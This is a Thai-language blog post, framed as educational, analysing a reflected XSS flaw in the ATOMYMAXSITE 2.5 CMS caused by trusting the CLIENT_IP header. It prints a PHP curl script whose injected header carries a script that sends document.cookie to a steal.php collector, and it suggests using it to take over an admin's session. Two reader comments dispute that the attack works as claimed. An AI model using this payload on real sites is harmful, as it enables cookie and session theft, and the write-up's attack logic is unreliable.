สวัสดีครับทุกท่อน เมื่อเดือนที่แล้วผมได้ค้นพบช่องโหว่ LFI ใน ATOMYMAXSITE 2.5 ดังที่เขียนไว้เป็นบทความตามลิงค์นี้ LFI in Maxsite แล้วเมื่อคืนวานผมได้พบช่องโหว่ Reflected XSS อีกใน CMS ตัวนี้จึงคิดว่ามาชำแหละเป็นบทความเพื่อการศึกษาดีกว่า
ช่องโหว่นี้เป็น Reflected XSS ครับ Reflected XSS คือช่องโหว่ที่สามารถแสดง HTML/JavaScript ออกมาทันที่เมื่อมีการ Input เข้าไป ต่างกับ Stored XSS ซึ่งมีการ Stored ลง Database แล้วต้องดึงขึ้นมาโชว์ ยกตัวอย่าง Reflected XSS อย่างง่ายคือ Input ทาง URL/ช่องค้นหา แล้วผลจะออกมาทาง Browser โดยตรง ช่องโหว่ของ Maxsite นี้เกิดจากส่วนของการ Show IP ผู้ใช้ครับตามรูปนี้
ซึ่งในส่วนนี้จะแสดงที่หน้าแรกของเว็บครับ keyword ที่ได้คือ IP ของท่านคือ ผมเลยนำไปค้นใน source code พบว่าถูก define (ประกาศค่าคงที่) ไว้ในไฟล์ /lang/thai_utf8.php ดังโค้ดด้านล่าง
define("_COUNT_ONLINE_IP","IP ของท่านคือ");
จะเห็นได้ว่าถูก define ด้วยค่า _COUNT_ONLINE_IP ผมเลยตามไปดูใน source code อีกครั้งพบอยู่ที่ไฟล์ /modules/block/counter.php ดังโค้ดด้านล่าง
<td width="<?=$widthSUM;?>" height="20" colspan=2 align=center colspan="2"><b><?=_COUNT_ONLINE_IP;?> <b><font color="#0066FF"><?=$IPADDRESS ?></font>
มีการแสดงค่าของตัวแปร $IPADDRESS มีการเรียกใช้ฟังก์ชั่น get_real_ip() จากบรรทัดที่ 31 ของไฟล์ counter.php ผมก็ตามไปดูว่ามาจากไหนจึงพบว่าอยู่ในไฟล์ /includes/function.inc.php ไปดูโค้ดของฟังก์ชั่นนี้กันครับ :)
function get_real_ip(){
$ip = false;
if(!empty($_SERVER['HTTP_CLIENT_IP'])){
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ips = explode(", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
if($ip){
array_unshift($ips, $ip);
$ip = false;
}
for($i = 0; $i < count($ips); $i++){
if(!preg_match("/^(10|172\.16|192\.168)\./i", $ips[$i])){
if(version_compare(phpversion(), "5.0.0", ">=")){
if(ip2long($ips[$i]) != false){
$ip = $ips[$i];
break;
}
}else{
if(ip2long($ips[$i]) != - 1){
$ip = $ips[$i];
break;
}
}
}
}
}
return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}
จากบรรทัดที่ 353,354 หมายความว่าถ้าค่า $_SERVER['HTTP_CLIENT_IP'] ไม่ว่างหมายถึงมีค่า ตัวแปร $ip จะเท่ากับค่าของ $_SERVER['HTTP_CLIENT_IP'] แล้ว return ค่า $ip กลับไปครับ ผมจึงลองปลอม Header ด้วย Live HTTP Headers กับ Firefox โดยการเพิ่ม CLIENT_IP: Hacked By ICheer_No0M ซึ่งผลที่ได้ก็ตามรูปครับ
อธิบายเรื่อง HTTP Header กันสักหน่อยคือการ Custom Header แบบนี้เป็นการสร้าง Header ขึ้นมายกตัวอย่างในโค้ด PHP มีโค้ดว่า echo $_SERVER['HTTP_HACKED']; แล้ว Client ส่ง Header ไปว่า HACKED: ICheer_No0M ผลลัพธ์ก็คือเว็บจะแสดงคำว่า ICheer_No0M ครับ ไม่งงกันนะครับ LoL
กลับเข้าเรื่องดีกว่าจะเห็นว่า IP ของท่านคือ Hacked By ICheer_No0M แล้วถ้าผมไม่ใส่ประโยคนี้แต่ใส่เป็น HTML/Javascript ล่ะครับ ? ซึ่งผลลัพธ์ที่ได้คือ
<?php
$ch =
curl_init("http://localhost/atomymaxsite/");
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language: th-th,th;q=0.8,en-us;q=0.6,en-gb;q=0.4,en;q=0.2',
'Accept-Encoding: gzip, deflate',
'Connection: keep-alive',
'Cache-Control: max-age=0',
'CLIENT_IP: <script>location.href = "http://localhost/labhack/steal.php?cookies="+document.cookie;</script>'
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_exec($ch);
curl_close($ch);
header('Location: http://www.google.com');
?>
เหตุการณ์สมมุติ ถ้าเราส่งโค้ดนี้ไปทางข้อความให้ Admin เว็บ แล้ว Admin เกิดคลิกเข้าไป เราก็จะได้ Cookie/Session ของ Admin คนนั้นมาได้จากการที่เราเขียนสคริปรอรับไว้ในไฟล์ steal.php ครับ
จบการอธิบายช่องโหว่ Reflected XSS ใน ATOMYMAXSITE 2.5 :)
ปล. เพื่อการศึกษานะครับ ,, ICheer_No0M

ไม่น่าใช่ครับคุณแก้ ip ได้เฉพาะของคุณเอง ไม่สามารถ reflected ไปหาคนอื่นได้ครับ
ตอบลบxss แบบ reflected คุณต้องทำเป็น html link ได้ครับ นี่คุณส่ง php แล้วให้เค้าคลิ๊กนี่ไม่ใช่แล้วครับ
ลบ